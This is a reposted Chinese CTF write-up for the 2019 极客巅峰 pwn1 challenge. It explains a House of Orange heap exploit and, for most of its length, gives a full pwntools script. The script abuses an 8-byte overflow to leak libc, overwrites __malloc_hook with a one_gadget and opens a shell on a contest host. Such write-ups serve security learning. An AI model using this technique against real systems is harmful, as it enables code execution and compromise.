欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2019 极客巅峰 pwn1 write up

程序员文章站 2022-03-09 21:05:15
...

程序逻辑分析:
2019 极客巅峰 pwn1 write up
常规操作, 但是只能show和 delete一次note, 经过add操作后的note无编号, 所有操作都是针对ptr指向的chunk进行

漏洞点:
2019 极客巅峰 pwn1 write up
在edit内 可以造成8字节的溢出, 所以可以改写下一个chunk的size或改写top_chunk 的size

漏洞利用:
由于题目限制了show和delete的次数, 只能控制当前add的note的指针, 所以无法通过uaf 来获得一个进入unsortedbin中的chunk, 但是可以通过改写top_chunk的size来触发sys_malloc
1. 如果top_chunk 的size小于需要创建的chunk的size, 则会使用sysmalloc分配新的内存区域, 如果申请大小>=mp_.mmap_threshold(128 * 1024) 则会使用mmap分配一块内存, 否则会拓展当前的top_chunk
目的是拓展top_chunk, 所以分配的大小要小于mp_.mmap-threshold

2.为了使旧top_chunk进入unsortedbin中,需要调用sysmalloc中的_int_free 函数, _int_free 函数会把旧的top_chunk free掉,然后设置新的top_chunk, 为此需要绕过两个assert检查

assert ((old_top == initial_top (av) && old_size == 0) ||
  ((unsigned long) (old_size) >= MINSIZE &&
   prev_inuse (old_top) &&
   ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

绕过条件:
伪造的top_chunk的size需要满足

1.大于MINSIZE(0X10)
2.prev_inuse 标志位置位1
3.小于need size + MINSIZE(需要分配的chunk的size
4.old_top + old_size 必须满足页面对齐(这里不懂…

前三个条件容易满足, 第四个条件 假如原top_chunk
的size为0x20f91, 那么伪造的top_chunk的size设置为0xf91即可满足条件(不知道为什么, 先照着做

3. 伪造完top_chunk的size后再分配一个大小合适chunk, 这是old top_chunk就进入了unsortedibn中, 这时就可以泄露libc地址了

4.泄露完libc地址之后就是常规的fastbin attack了

EXP:

from pwn import *
import struct

context(arch='amd64', os='linux', log_level='debug')
debug = 1
d = 0

if debug == 0:
	p = process("./i_pwn")
	if d == 1:
		gdb.attach(p)
else:
	p = remote("55fca716.gamectf.com", 37009)

def add(size, content = ""):
	p.sendlineafter("Your choice > ", str(1))
	
	p.sendlineafter("Size > ", str(size))
	p.sendlineafter("Content >", content)

def show():
	p.sendlineafter("Your choice > ", str(2))

def delete():
	p.sendlineafter("Your choice > ", str(3))

def edit(size, content):
	p.sendlineafter("Your choice > ", str(4))

	p.sendlineafter("Size > ", str(size))
	p.sendafter("Content >", content)

p.sendlineafter("What's your name?", "cx")

add(0x68)

edit(0x70, 'a'*0x68 + p64(0xf91))

add(0x1000)

add(0x68, 'a'*7)

show()

p.recvuntil('a'*7 + '\n')

leak = p.recvline()[:6]
print "leak-> " + leak

libc_addr = struct.unpack("<Q", leak.ljust(8, '\x00'))[0]
print "libc_addr-> " + hex(libc_addr)

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

libc_base = libc_addr - (0x7f32b6967188 - 0x7f32b65a2000)
print "libc_base-> " + hex(libc_base)

malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a

print "malloc_hook-> " + hex(malloc_hook)
print "realloc_> " + hex(realloc)
print "one_gadget-> " + hex(one_gadget)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

delete()

edit(0x68, p64(malloc_hook - 0x23))

#raw_input()

add(0x68)

add(0x68)

payload = 'a'*(0x13 - 0x8) + p64(one_gadget) + p64(realloc+12)
edit(len(payload), payload)

#raw_input()

p.sendlineafter("Your choice > ", str(1))
p.sendlineafter("Size > ", str(10))

p.interactive()

house of orange资料链接
house of orange
堆溢出-house of orange 学习笔记
Pwning My life Hitcon -house of orange